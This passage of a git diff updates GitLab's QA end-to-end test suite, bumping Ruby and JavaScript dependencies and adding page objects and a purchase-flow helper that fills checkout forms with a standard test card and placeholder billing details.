"prosemirror-state": "^1.3.4",
"prosemirror-tables": "^1.1.1",
- "prosemirror-view": "^1.20.3",
+ "prosemirror-view": "^1.23.3",
"raphael": "^2.2.7",
"raw-loader": "^4.0.2",
"scrollparent": "^2.0.1",
@@ -251,11 +253,10 @@
"prosemirror-test-builder": "^1.0.5",
"purgecss": "^4.0.3",
"purgecss-from-html": "^4.0.3",
- "readdir-enhanced": "^2.2.4",
"sass": "^1.32.12",
"timezone-mock": "^1.0.8",
"vue-jest": "4.0.1",
- "webpack-dev-server": "^3.11.2",
+ "webpack-dev-server": "^3.11.3",
"xhr-mock": "^2.5.1",
"yarn-check-webpack-plugin": "^1.2.0",
"yarn-deduplicate": "^3.1.0"
diff --git a/qa/Gemfile b/qa/Gemfile
index 498d05b2254..576b58f9844 100644
--- a/qa/Gemfile
+++ b/qa/Gemfile
@@ -15,7 +15,7 @@ gem 'rest-client', '~> 2.1.0'
gem 'rspec-retry', '~> 0.6.1', require: 'rspec/retry'
gem 'rspec_junit_formatter', '~> 0.4.1'
gem 'faker', '~> 2.19', '>= 2.19.0'
-gem 'knapsack', '~> 1.17'
+gem 'knapsack', '~> 4.0'
gem 'parallel_tests', '~> 2.29'
gem 'rotp', '~> 3.1.0'
gem 'timecop', '~> 0.9.1'
@@ -27,6 +27,7 @@ gem 'zeitwerk', '~> 2.4'
gem 'influxdb-client', '~> 1.17'
gem 'terminal-table', '~> 1.8', require: false
gem 'slack-notifier', '~> 2.4', require: false
+gem 'fog-google', '~> 1.17', require: false
gem 'chemlab', '~> 0.9'
gem 'chemlab-library-www-gitlab-com', '~> 0.1'
diff --git a/qa/Gemfile.lock b/qa/Gemfile.lock
index 2b5b5e368cf..14f10d2b047 100644
--- a/qa/Gemfile.lock
+++ b/qa/Gemfile.lock
@@ -29,6 +29,7 @@ GEM
uuid (>= 2.3, < 3)
ast (2.4.2)
binding_ninja (0.2.3)
+ builder (3.2.4)
byebug (9.1.0)
capybara (3.35.3)
addressable
@@ -56,12 +57,14 @@ GEM
adamantium (~> 0.2.0)
equalizer (~> 0.0.9)
concurrent-ruby (1.1.9)
+ declarative (0.0.20)
deprecation_toolkit (1.5.1)
activesupport (>= 4.2)
diff-lcs (1.3)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
equalizer (0.0.11)
+ excon (0.88.0)
faker (2.19.0)
i18n (>= 1.6, < 2)
faraday (1.5.1)
@@ -85,6 +88,30 @@ GEM
ffi-compiler (1.0.1)
ffi (>= 1.0.0)
rake
+ fog-core (2.1.0)
+ builder
+ excon (~> 0.58)
+ formatador (~> 0.2)
+ mime-types
+ fog-google (1.17.0)
+ fog-core (<= 2.1.0)
+ fog-json (~> 1.2)
+ fog-xml (~> 0.1.0)
+ google-apis-compute_v1 (~> 0.14)
+ google-apis-dns_v1 (~> 0.12)
+ google-apis-iamcredentials_v1 (~> 0.6)
+ google-apis-monitoring_v3 (~> 0.12)
+ google-apis-pubsub_v1 (~> 0.7)
+ google-apis-sqladmin_v1beta4 (~> 0.13)
+ google-apis-storage_v1 (~> 0.6)
+ google-cloud-env (~> 1.2)
+ fog-json (1.2.0)
+ fog-core
+ multi_json (~> 1.10)
+ fog-xml (0.1.4)
+ fog-core
+ nokogiri (>= 1.5.11, < 2.0.0)
+ formatador (0.3.0)
gitlab (4.16.1)
httparty (~> 0.14, >= 0.14.0)
terminal-table (~> 1.5, >= 1.5.1)
@@ -94,6 +121,38 @@ GEM
http (~> 5.0)
nokogiri (~> 1.10)
table_print (= 1.5.7)
+ google-apis-compute_v1 (0.21.0)
+ google-apis-core (>= 0.4, < 2.a)
+ google-apis-core (0.4.1)
+ addressable (~> 2.5, >= 2.5.1)
+ googleauth (>= 0.16.2, < 2.a)
+ httpclient (>= 2.8.1, < 3.a)
+ mini_mime (~> 1.0)
+ representable (~> 3.0)
+ retriable (>= 2.0, < 4.a)
+ rexml
+ webrick
+ google-apis-dns_v1 (0.16.0)
+ google-apis-core (>= 0.4, < 2.a)
+ google-apis-iamcredentials_v1 (0.8.0)
+ google-apis-core (>= 0.4, < 2.a)
+ google-apis-monitoring_v3 (0.18.0)
+ google-apis-core (>= 0.4, < 2.a)
+ google-apis-pubsub_v1 (0.10.0)
+ google-apis-core (>= 0.4, < 2.a)
+ google-apis-sqladmin_v1beta4 (0.21.0)
+ google-apis-core (>= 0.4, < 2.a)
+ google-apis-storage_v1 (0.9.0)
+ google-apis-core (>= 0.4, < 2.a)
+ google-cloud-env (1.5.0)
+ faraday (>= 0.17.3, < 2.0)
+ googleauth (1.1.0)
+ faraday (>= 0.17.3, < 2.0)
+ jwt (>= 1.4, < 3.0)
+ memoist (~> 0.16)
+ multi_json (~> 1.11)
+ os (>= 0.9, < 2.0)
+ signet (>= 0.16, < 2.a)
http (5.0.4)
addressable (~> 2.8)
http-cookie (~> 1.0)
@@ -106,11 +165,13 @@ GEM
httparty (0.20.0)
mime-types (~> 3.0)
multi_xml (>= 0.5.2)
+ httpclient (2.8.3)
i18n (1.8.11)
concurrent-ruby (~> 1.0)
ice_nine (0.11.2)
influxdb-client (1.17.0)
- knapsack (1.17.1)
+ jwt (2.3.0)
+ knapsack (4.0.0)
rake
launchy (2.4.3)
addressable (~> 2.3)
@@ -119,6 +180,7 @@ GEM
rake (~> 13.0)
macaddr (1.7.2)
systemu (~> 2.6.5)
+ memoist (0.16.2)
memoizable (0.4.2)
thread_safe (~> 0.3, >= 0.3.1)
method_source (0.9.0)
@@ -128,6 +190,7 @@ GEM
mini_mime (1.1.0)
mini_portile2 (2.6.1)
minitest (5.14.4)
+ multi_json (1.15.0)
multi_xml (0.6.0)
multipart-post (2.1.1)
netrc (0.11.0)
@@ -138,10 +201,11 @@ GEM
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
oj (3.13.8)
+ os (1.1.4)
parallel (1.19.2)
parallel_tests (2.29.0)
parallel
- parser (3.0.2.0)
+ parser (3.0.3.2)
ast (~> 2.4.1)
proc_to_ast (0.1.0)
coderay
@@ -161,12 +225,17 @@ GEM
rack (>= 1.0, < 3)
rake (13.0.6)
regexp_parser (2.1.1)
+ representable (3.1.1)
+ declarative (< 0.1.0)
+ trailblazer-option (>= 0.1.1, < 0.2.0)
+ uber (< 0.2.0)
require_all (3.0.0)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
+ retriable (3.1.2)
rexml (3.2.5)
rotp (3.1.0)
rspec (3.10.0)
@@ -203,6 +272,11 @@ GEM
childprocess (>= 0.5, < 5.0)
rexml (~> 3.2, >= 3.2.5)
rubyzip (>= 1.2.2)
+ signet (0.16.0)
+ addressable (~> 2.8)
+ faraday (>= 0.17.3, < 2.0)
+ jwt (>= 1.5, < 3.0)
+ multi_json (~> 1.10)
slack-notifier (2.4.0)
systemu (2.6.5)
table_print (1.5.7)
@@ -210,8 +284,10 @@ GEM
unicode-display_width (~> 1.1, >= 1.1.1)
thread_safe (0.3.6)
timecop (0.9.1)
+ trailblazer-option (0.1.2)
tzinfo (2.0.4)
concurrent-ruby (~> 1.0)
+ uber (0.1.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8)
@@ -233,6 +309,7 @@ GEM
nokogiri (~> 1.6)
rubyzip (>= 1.3.0)
selenium-webdriver (~> 4.0)
+ webrick (1.7.0)
xpath (3.2.0)
nokogiri (~> 1.8)
zeitwerk (2.5.1)
@@ -250,9 +327,10 @@ DEPENDENCIES
chemlab-library-www-gitlab-com (~> 0.1)
deprecation_toolkit (~> 1.5.1)
faker (~> 2.19, >= 2.19.0)
+ fog-google (~> 1.17)
gitlab-qa
influxdb-client (~> 1.17)
- knapsack (~> 1.17)
+ knapsack (~> 4.0)
octokit (~> 4.21)
parallel (~> 1.19)
parallel_tests (~> 2.29)
diff --git a/qa/README.md b/qa/README.md
index c380a5b6770..2e3f6af5bc3 100644
--- a/qa/README.md
+++ b/qa/README.md
@@ -73,6 +73,16 @@ bundle exec bin/qa Test::Instance::All http://localhost:3000
Note: If you want to run tests requiring SSH against GDK, you
will need to [modify your GDK setup](https://gitlab.com/gitlab-org/gitlab-qa/blob/master/docs/run_qa_against_gdk.md).
+Note: When you log into your GDK instance of GitLab for the first time, the root password requires a change.
+GitLab QA expects the default initial password to be used in tests; see all default values listed in
+[Supported GitLab environment variables](https://gitlab.com/gitlab-org/gitlab-qa/-/blob/master/docs/what_tests_can_be_run.md#supported-gitlab-environment-variables).
+If you have changed your root password, you must set the `GITLAB_INITIAL_ROOT_PASSWORD` environment
+variable.
+
+```
+export GITLAB_INITIAL_ROOT_PASSWORD="<GDK root password>"
+```
+
#### Running EE tests
When running EE tests you'll need to have a license available. GitLab engineers can [request a license](https://about.gitlab.com/handbook/developer-onboarding/#working-on-gitlab-ee).
diff --git a/qa/Rakefile b/qa/Rakefile
index 57360e98ca2..e865b972b4e 100644
--- a/qa/Rakefile
+++ b/qa/Rakefile
@@ -1,8 +1,7 @@
# frozen_string_literal: true
# rubocop:disable Rails/RakeEnvironment
-load 'tasks/webdrivers.rake'
-load 'tasks/reliable_report.rake'
+Dir['tasks/*.rake'].each { |file| load file }
require_relative 'qa/tools/revoke_all_personal_access_tokens'
require_relative 'qa/tools/delete_subgroups'
diff --git a/qa/knapsack/gcs/.gitignore b/qa/knapsack/gcs/.gitignore
new file mode 100644
index 00000000000..e7c1de7e0f2
--- /dev/null
+++ b/qa/knapsack/gcs/.gitignore
@@ -0,0 +1,3 @@
+**
+
+!.gitignore
diff --git a/qa/lib/gitlab/page/group/settings/usage_quotas.rb b/qa/lib/gitlab/page/group/settings/usage_quotas.rb
index 455a695f703..0408668a81c 100644
--- a/qa/lib/gitlab/page/group/settings/usage_quotas.rb
+++ b/qa/lib/gitlab/page/group/settings/usage_quotas.rb
@@ -9,16 +9,36 @@ module Gitlab
link :storage_tab, id: 'storage-quota'
link :buy_ci_minutes, text: 'Buy additional minutes'
link :buy_storage, text: /Purchase more storage/
- strong :additional_minutes, text: 'Additional minutes'
- div(:additional_minutes_usage) { additional_minutes_element.following_sibling.span }
- div :purchase_successful_alert, text: /You have successfully purchased CI minutes/
+ div :plan_ci_minutes
+ div :additional_ci_minutes
+ span :purchased_usage_total
+ div :ci_purchase_successful_alert, text: /You have successfully purchased CI minutes/
+ div :storage_purchase_successful_alert, text: /You have successfully purchased a storage/
+ h4 :storage_available_alert, text: /purchased storage is available/
- def plan_minutes_limits
- plan_minutes_usage[%r{([^/ ]+)$}]
+ def plan_ci_limits
+ plan_ci_minutes_element.span.text[%r{([^/ ]+)$}]
end
- def additional_limits
- additional_minutes_usage[%r{([^/ ]+)$}]
+ def additional_ci_limits
+ additional_ci_minutes_element.span.text[%r{([^/ ]+)$}]
+ end
+
+ # Waits and Checks if storage available alert presents on the page
+ #
+ # @return [Boolean] True if the alert presents, false if not after 5 second wait
+ def purchased_storage_available?
+ storage_available_alert_element.wait_until(timeout: 5, &:present?)
+ rescue Watir::Wait::TimeoutError
+ false
+ end
+
+ # Returns total purchased storage value once it's ready on page
+ #
+ # @return [Float] Total purchased storage value in GiB
+ def total_purchased_storage
+ storage_available_alert_element.wait_until(&:present?)
+ purchased_usage_total.to_f
end
end
end
diff --git a/qa/qa/flow/purchase.rb b/qa/qa/flow/purchase.rb
new file mode 100644
index 00000000000..41d771b9b6d
--- /dev/null
+++ b/qa/qa/flow/purchase.rb
@@ -0,0 +1,107 @@
+# frozen_string_literal: true
+
+module QA
+ module Flow
+ module Purchase
+ include QA::Support::Helpers::Plan
+
+ module_function
+
+ def upgrade_subscription(plan: PREMIUM)
+ Page::Group::Menu.perform(&:go_to_billing)
+ Gitlab::Page::Group::Settings::Billing.perform do |billing|
+ billing.send("upgrade_to_#{plan[:name].downcase}")
+ end
+
+ Gitlab::Page::Subscriptions::New.perform do |new_subscription|
+ new_subscription.continue_to_billing
+
+ fill_in_customer_info
+ fill_in_payment_info
+
+ new_subscription.confirm_purchase
+ end
+ end
+
+ def purchase_ci_minutes(quantity: 1)
+ Page::Group::Menu.perform(&:go_to_usage_quotas)
+ Gitlab::Page::Group::Settings::UsageQuotas.perform do |usage_quota|
+ usage_quota.pipeline_tab
+ usage_quota.buy_ci_minutes
+ end
+
+ Gitlab::Page::Subscriptions::New.perform do |ci_minutes|
+ ci_minutes.quantity = quantity
+ ci_minutes.continue_to_billing
+
+ fill_in_customer_info
+ fill_in_payment_info
+
+ ci_minutes.confirm_purchase
+ end
+ end
+
+ def purchase_storage(quantity: 1)
+ Page::Group::Menu.perform(&:go_to_usage_quotas)
+ Gitlab::Page::Group::Settings::UsageQuotas.perform do |usage_quota|
+ usage_quota.storage_tab
+ usage_quota.buy_storage
+ end
+
+ Gitlab::Page::Subscriptions::New.perform do |storage|
+ storage.quantity = quantity
+ storage.continue_to_billing
+
+ fill_in_customer_info
+ fill_in_payment_info
+
+ storage.confirm_purchase
+ end
+ end
+
+ def fill_in_customer_info
+ Gitlab::Page::Subscriptions::New.perform do |subscription|
+ subscription.country = user_billing_info[:country]
+ subscription.street_address_1 = user_billing_info[:address_1]
+ subscription.street_address_2 = user_billing_info[:address_2]
+ subscription.city = user_billing_info[:city]
+ subscription.state = user_billing_info[:state]
+ subscription.zip_code = user_billing_info[:zip]
+ subscription.continue_to_payment
+ end
+ end
+
+ def fill_in_payment_info
+ Gitlab::Page::Subscriptions::New.perform do |subscription|
+ subscription.name_on_card = credit_card_info[:name]
+ subscription.card_number = credit_card_info[:number]
+ subscription.expiration_month = credit_card_info[:month]
+ subscription.expiration_year = credit_card_info[:year]
+ subscription.cvv = credit_card_info[:cvv]
+ subscription.review_your_order
+ end
+ end
+
+ def credit_card_info
+ {
+ name: 'QA Test',
+ number: '4111111111111111',
+ month: '01',
+ year: '2025',
+ cvv: '232'
+ }.freeze
+ end
+
+ def user_billing_info
+ {
+ country: 'United States of America',
+ address_1: 'Address 1',
+ address_2: 'Address 2',
+ city: 'San Francisco',
+ state: 'California',
+ zip: '94102'
+ }.freeze
+ end
+ end
+ end
+end
diff --git a/qa/qa/flow/settings.rb b/qa/qa/flow/settings.rb
new file mode 100644
index 00000000000..775b7686c10
--- /dev/null
+++ b/qa/qa/flow/settings.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module QA
+ module Flow
+ module Settings
+ module_function
+
+ def disable_snowplow
+ Flow::Login.while_signed_in_as_admin do
+ QA::Page::Main::Menu.perform(&:go_to_admin_area)
+ QA::Page::Admin::Menu.perform(&:go_to_general_settings)
+ QA::Page::Admin::Settings::Component::Snowplow.perform(&:disable_snowplow_tracking)
+ end
+ end
+
+ def enable_snowplow
+ Flow::Login.while_signed_in_as_admin do
+ QA::Page::Main::Menu.perform(&:go_to_admin_area)
+ QA::Page::Admin::Menu.perform(&:go_to_general_settings)
+ QA::Page::Admin::Settings::Component::Snowplow.perform(&:enable_snowplow_tracking)
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/mobile/page/project/issue/show.rb b/qa/qa/mobile/page/project/issue/show.rb
index 017ecebcb69..df96a318806 100644
--- a/qa/qa/mobile/page/project/issue/show.rb
+++ b/qa/qa/mobile/page/project/issue/show.rb
@@ -12,7 +12,7 @@ module QA
super
base.class_eval do
- view 'app/assets/javascripts/issue_show/components/header_actions.vue' do
+ view 'app/assets/javascripts/issues/show/components/header_actions.vue' do
element :issue_actions_dropdown
element :mobile_close_issue_button
element :mobile_reopen_issue_button
diff --git a/qa/qa/page/admin/overview/users/index.rb b/qa/qa/page/admin/overview/users/index.rb
index 8a2c2303ff7..2ad45e4a0fa 100644
--- a/qa/qa/page/admin/overview/users/index.rb
+++ b/qa/qa/page/admin/overview/users/index.rb
@@ -15,10 +15,6 @@ module QA
element :user_row_content
end
- view 'app/views/admin/users/_user_detail.html.haml' do
- element :username_link
- end
-
def search_user(username)
find_element(:user_search_field).set(username).send_keys(:return)
end
diff --git a/qa/qa/page/admin/settings/component/snowplow.rb b/qa/qa/page/admin/settings/component/snowplow.rb
new file mode 100644
index 00000000000..e05679feac3
--- /dev/null
+++ b/qa/qa/page/admin/settings/component/snowplow.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Admin
+ module Settings
+ module Component
+ class Snowplow < Page::Base
+ include QA::Page::Settings::Common
+
+ view 'app/views/admin/application_settings/_snowplow.html.haml' do
+ element :snowplow_settings_content
+ element :snowplow_enabled_checkbox
+ element :save_changes_button
+ end
+
+ def enable_snowplow_tracking
+ expand_content(:snowplow_settings_content) do
+ check_snowplow_enabled_checkbox
+ click_save_changes_button
+ end
+ end
+
+ def disable_snowplow_tracking
+ expand_content(:snowplow_settings_content) do
+ uncheck_snowplow_enabled_checkbox
+ click_save_changes_button
+ end
+ end
+
+ private
+
+ def check_snowplow_enabled_checkbox
+ check_element(:snowplow_enabled_checkbox)
+ end
+
+ def uncheck_snowplow_enabled_checkbox
+ uncheck_element(:snowplow_enabled_checkbox)
+ end
+
+ def click_save_changes_button
+ click_element :save_changes_button
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/admin/settings/component/usage_statistics.rb b/qa/qa/page/admin/settings/component/usage_statistics.rb
new file mode 100644
index 00000000000..0275b7ae926
--- /dev/null
+++ b/qa/qa/page/admin/settings/component/usage_statistics.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Admin
+ module Settings
+ module Component
+ class UsageStatistics < Page::Base
+ view 'app/views/admin/application_settings/_usage.html.haml' do
+ element :enable_usage_data_checkbox
+ end
+
+ def has_disabled_usage_data_checkbox?
+ has_element?(:enable_usage_data_checkbox, disabled: true)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/admin/settings/metrics_and_profiling.rb b/qa/qa/page/admin/settings/metrics_and_profiling.rb
index 41fad942fc4..7224e51e110 100644
--- a/qa/qa/page/admin/settings/metrics_and_profiling.rb
+++ b/qa/qa/page/admin/settings/metrics_and_profiling.rb
@@ -9,6 +9,7 @@ module QA
view 'app/views/admin/application_settings/metrics_and_profiling.html.haml' do
element :performance_bar_settings_content
+ element :usage_statistics_settings_content
end
def expand_performance_bar(&block)
@@ -16,6 +17,12 @@ module QA
Component::PerformanceBar.perform(&block)
end
end
+
+ def expand_usage_statistics(&block)
+ expand_content(:usage_statistics_settings_content) do
+ Component::UsageStatistics.perform(&block)
+ end
+ end
end
end
end
diff --git a/qa/qa/page/base.rb b/qa/qa/page/base.rb
index 4708063b2eb..69f58dcb8a5 100644
--- a/qa/qa/page/base.rb
+++ b/qa/qa/page/base.rb
@@ -443,6 +443,29 @@ module QA
# Some checkboxes and radio buttons are hidden by their labels and cannot be clicked directly
click_by_js ? page.execute_script("arguments[0].click();", box) : box.click
end
+
+ def feature_flag_controlled_element(feature_flag, element_when_flag_enabled, element_when_flag_disabled)
+ # Feature flags can change the UI elements shown, but we need admin access to get feature flag values, which
+ # prevents us running the tests on production. Instead we detect the UI element that should be shown when the
+ # feature flag is enabled and otherwise use the element that should be displayed when the feature flag is
+ # disabled.
+
+ # Check both options once quickly so that the test doesn't wait unnecessarily if the UI has loaded
+ # We wait for requests first and wait one second for the element because it can take a moment for a Vue app to
+ # load and render the UI
+ wait_for_requests
+
+ return element_when_flag_enabled if has_element?(element_when_flag_enabled, wait: 1)
+ return element_when_flag_disabled if has_element?(element_when_flag_disabled, wait: 1)
+
+ # Check both options again, this time waiting for the default duration
+ return element_when_flag_enabled if has_element?(element_when_flag_enabled)
+ return element_when_flag_disabled if has_element?(element_when_flag_disabled)
+
+ raise ElementNotFound,
+ "Could not find the expected element as #{element_when_flag_enabled} or #{element_when_flag_disabled}." \
+ "The relevant feature flag is #{feature_flag}"
+ end
end
end
end
diff --git a/qa/qa/page/component/blob_content.rb b/qa/qa/page/component/blob_content.rb
new file mode 100644
index 00000000000..4d36a6dcefe
--- /dev/null
+++ b/qa/qa/page/component/blob_content.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+module QA
+ module Page
+ module Component
+ module BlobContent
+ extend QA::Page::PageConcern
+
+ def self.included(base)
+ super
+
+ base.view 'app/assets/javascripts/blob/components/blob_header_filepath.vue' do
+ element :file_title_content
+ end
+
+ base.view 'app/assets/javascripts/blob/components/blob_content.vue' do
+ element :blob_viewer_file_content
+ end
+
+ base.view 'app/assets/javascripts/blob/components/blob_header_default_actions.vue' do
+ element :default_actions_container
+ element :copy_contents_button
+ end
+
+ base.view 'app/views/projects/blob/_header_content.html.haml' do
+ element :file_name_content
+ end
+
+ base.view 'app/views/shared/_file_highlight.html.haml' do
+ element :file_content
+ end
+ end
+
+ def has_file?(name)
+ has_file_name?(name)
+ end
+
+ def has_no_file?(name)
+ has_no_file_name?(name)
+ end
+
+ def has_file_name?(file_name, file_number = nil)
+ within_file_by_number(file_name_element, file_number) { has_text?(file_name) }
+ end
+
+ def has_no_file_name?(file_name)
+ within_element(file_name_element) do
+ has_no_text?(file_name)
+ end
+ end
+
+ def has_file_content?(file_content, file_number = nil)
+ within_file_by_number(file_content_element, file_number) { has_text?(file_content) }
+ end
+
+ def has_no_file_content?(file_content)
+ within_element(file_content_element) do
+ has_no_text?(file_content)
+ end
+ end
+
+ def click_copy_file_contents(file_number = nil)
+ within_file_by_number(:default_actions_container, file_number) { click_element(:copy_contents_button) }
+ end
+
+ private
+
+ def file_content_element
+ feature_flag_controlled_element(:refactor_blob_viewer, :blob_viewer_file_content, :file_content)
+ end
+
+ def file_name_element
+ feature_flag_controlled_element(:refactor_blob_viewer, :file_title_content, :file_name_content)
+ end
+
+ def within_file_by_number(element, file_number)
+ if file_number
+ within_element_by_index(element, file_number - 1) { yield }
+ else
+ within_element(element) { yield }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/page/component/issuable/common.rb b/qa/qa/page/component/issuable/common.rb
index bbab1746d7a..0d056afd7f0 100644
--- a/qa/qa/page/component/issuable/common.rb
+++ b/qa/qa/page/component/issuable/common.rb
@@ -10,20 +10,20 @@ module QA
def self.included(base)
super
- base.view 'app/assets/javascripts/issue_show/components/title.vue' do
+ base.view 'app/assets/javascripts/issues/show/components/title.vue' do
element :edit_button
element :title, required: true
end
- base.view 'app/assets/javascripts/issue_show/components/fields/title.vue' do
+ base.view 'app/assets/javascripts/issues/show/components/fields/title.vue' do
element :title_input
end
- base.view 'app/assets/javascripts/issue_show/components/fields/description.vue' do
+ base.view 'app/assets/javascripts/issues/show/components/fields/description.vue' do
element :description_textarea
end
- base.view 'app/assets/javascripts/issue_show/components/edit_actions.vue' do
+ base.view 'app/assets/javascripts/issues/show/components/edit_actions.vue' do
element :save_button
element :delete_button
end
diff --git a/qa/qa/page/component/issuable/sidebar.rb b/qa/qa/page/component/issuable/sidebar.rb
index 77962570aed..4a81230499c 100644
--- a/qa/qa/page/component/issuable/sidebar.rb
+++ b/qa/qa/page/component/issuable/sidebar.rb
@@ -18,7 +18,7 @@ module QA
element :more_assignees_link
end
- base.view 'app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue' do
+ base.view 'app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue' do
element :labels_block
end
@@ -124,15 +124,6 @@ module QA
click_element(:more_assignees_link)
end
- # When the labels_widget feature flag is enabled, wait until the labels widget appears
- def wait_for_labels_widget_feature_flag
- Support::Retrier.retry_until(max_duration: 60, reload_page: page, retry_on_exception: true, sleep_interval: 5) do
- within_element(:labels_block) do
- find_element(:edit_link)
- end
- end
- end
-
private
def wait_assignees_block_finish_loading
diff --git a/qa/qa/page/component/snippet.rb b/qa/qa/page/component/snippet.rb
index ad264bd6d56..34e884f2a08 100644
--- a/qa/qa/page/component/snippet.rb
+++ b/qa/qa/page/component/snippet.rb
@@ -26,7 +26,7 @@ module QA
end
base.view 'app/assets/javascripts/blob/components/blob_content.vue' do
- element :file_content
+ element :blob_viewer_file_content
end
base.view 'app/assets/javascripts/snippets/components/snippet_header.vue' do
@@ -130,11 +130,11 @@ module QA
def has_file_content?(file_content, file_number = nil)
if file_number
- within_element_by_index(:file_content, file_number - 1) do
+ within_element_by_index(:blob_viewer_file_content, file_number - 1) do
has_text?(file_content)
end
else
- within_element(:file_content) do
+ within_element(:blob_viewer_file_content) do
has_text?(file_content)
end
end
@@ -142,11 +142,11 @@ module QA
def has_no_file_content?(file_content, file_number = nil)
if file_number
- within_element_by_index(:file_content, file_number - 1) do
+ within_element_by_index(:blob_viewer_file_content, file_number - 1) do
has_no_text?(file_content)
end
else
- within_element(:file_content) do
+ within_element(:blob_viewer_file_content) do
has_no_text?(file_content)
end
end
@@ -207,7 +207,7 @@ module QA
end
def has_syntax_highlighting?(language)
- within_element(:file_content) do
+ within_element(:blob_viewer_file_content) do
find('.line')['lang'].to_s == language
end
end
diff --git a/qa/qa/page/component/wiki.rb b/qa/qa/page/component/wiki.rb
index c3db1d6c885..ffd31f8d7b7 100644
--- a/qa/qa/page/component/wiki.rb
+++ b/qa/qa/page/component/wiki.rb
@@ -11,10 +11,13 @@ module QA
base.view 'app/views/shared/wikis/show.html.haml' do
element :wiki_page_title
- element :wiki_page_content
element :edit_page_button
end
+ base.view 'app/views/shared/wikis/_wiki_content.html.haml' do
+ element :wiki_page_content
+ end
+
base.view 'app/views/shared/wikis/_main_links.html.haml' do
element :new_page_button
element :page_history_button
diff --git a/qa/qa/page/component/wiki_page_form.rb b/qa/qa/page/component/wiki_page_form.rb
index fd536ff1dd3..bc73fe0c3ab 100644
--- a/qa/qa/page/component/wiki_page_form.rb
+++ b/qa/qa/page/component/wiki_page_form.rb
@@ -15,6 +15,7 @@ module QA
element :wiki_message_textbox
element :wiki_submit_button
element :try_new_editor_container
+ element :editing_mode_button
end
base.view 'app/assets/javascripts/pages/shared/wikis/components/delete_wiki_modal.vue' do
@@ -36,6 +37,10 @@ module QA
def click_submit
click_element(:wiki_submit_button)
+
+ wait_until(reload: false) do
+ has_no_element?(:wiki_title_textbox)
+ end
end
def delete_page
@@ -43,11 +48,19 @@ module QA
Page::Modal::DeleteWiki.perform(&:confirm_deletion)
end
- def use_new_editor
- within_element(:try_new_editor_container) do
- click_button('Use the new editor')
+ def use_new_editor(toggle)
+ # Update once the feature is released, see https://gitlab.com/gitlab-org/gitlab/-/issues/345398
+ if toggle
+ click_element(:editing_mode_button, mode: 'Edit rich text')
+ else
+ within_element(:try_new_editor_container) do
+ click_button('Use the new editor')
+ end
+ end
+
+ wait_until(reload: false) do
+ has_element?(:content_editor_container)
end
- has_element?(:content_editor_container)
end
end
end
diff --git a/qa/qa/page/dashboard/snippet/show.rb b/qa/qa/page/dashboard/snippet/show.rb
index 576e287d40d..a314f523108 100644
--- a/qa/qa/page/dashboard/snippet/show.rb
+++ b/qa/qa/page/dashboard/snippet/show.rb
@@ -6,6 +6,7 @@ module QA
module Snippet
class Show < Page::Base
include Page::Component::Snippet
+ include Page::Component::BlobContent
view 'app/assets/javascripts/snippets/components/snippet_title.vue' do
element :snippet_title_content, required: true
diff --git a/qa/qa/page/file/shared/commit_message.rb b/qa/qa/page/file/shared/commit_message.rb
index 4c25e8a480b..a3658fa11af 100644
--- a/qa/qa/page/file/shared/commit_message.rb
+++ b/qa/qa/page/file/shared/commit_message.rb
@@ -10,6 +10,10 @@ module QA
def self.included(base)
super
+ base.view 'app/assets/javascripts/repository/components/delete_blob_modal.vue' do
+ element :commit_message_field
+ end
+
base.view 'app/views/shared/_commit_message_container.html.haml' do
element :commit_message_field
end
diff --git a/qa/qa/page/file/show.rb b/qa/qa/page/file/show.rb
index cefbbbcdba0..730c5a88515 100644
--- a/qa/qa/page/file/show.rb
+++ b/qa/qa/page/file/show.rb
@@ -8,24 +8,21 @@ module QA
include Project::SubMenus::Settings
include Project::SubMenus::Common
include Layout::Flash
+ include Page::Component::BlobContent
+
+ view 'app/assets/javascripts/repository/components/blob_button_group.vue' do
+ element :lock_button
+ end
view 'app/helpers/blob_helper.rb' do
element :edit_button, "_('Edit')" # rubocop:disable QA/ElementWithPattern
element :delete_button, '_("Delete")' # rubocop:disable QA/ElementWithPattern
end
- view 'app/views/projects/blob/_header_content.html.haml' do
- element :file_name_content
- end
-
view 'app/views/projects/blob/_remove.html.haml' do
element :delete_file_button, "button_tag 'Delete file'" # rubocop:disable QA/ElementWithPattern
end
- view 'app/views/shared/_file_highlight.html.haml' do
- element :file_content
- end
-
def click_edit
click_on 'Edit'
end
@@ -37,26 +34,6 @@ module QA
def click_delete_file
click_on 'Delete file'
end
-
- def has_file?(name)
- has_element?(:file_name_content, text: name)
- end
-
- def has_no_file?(name)
- has_no_element?(:file_name_content, text: name)
- end
-
- def has_file_content?(file_content, file_number = nil)
- if file_number
- within_element_by_index(:file_content, file_number - 1) do
- has_text?(file_content)
- end
- else
- within_element(:file_content) do
- has_text?(file_content)
- end
- end
- end
end
end
end
diff --git a/qa/qa/page/main/terms.rb b/qa/qa/page/main/terms.rb
index a0de267fb31..024510c33cf 100644
--- a/qa/qa/page/main/terms.rb
+++ b/qa/qa/page/main/terms.rb
@@ -8,7 +8,7 @@ module QA
element :user_avatar, required: true
end
- view 'app/views/users/terms/index.html.haml' do
+ view 'app/assets/javascripts/terms/components/app.vue' do
element :terms_content, required: true
element :accept_terms_button
diff --git a/qa/qa/page/project/infrastructure/kubernetes/add_existing.rb b/qa/qa/page/project/infrastructure/kubernetes/add_existing.rb
index 689c2a31c4f..2fc65cf0afe 100644
--- a/qa/qa/page/project/infrastructure/kubernetes/add_existing.rb
+++ b/qa/qa/page/project/infrastructure/kubernetes/add_existing.rb
@@ -20,7 +20,7 @@ module QA
end
def set_api_url(api_url)
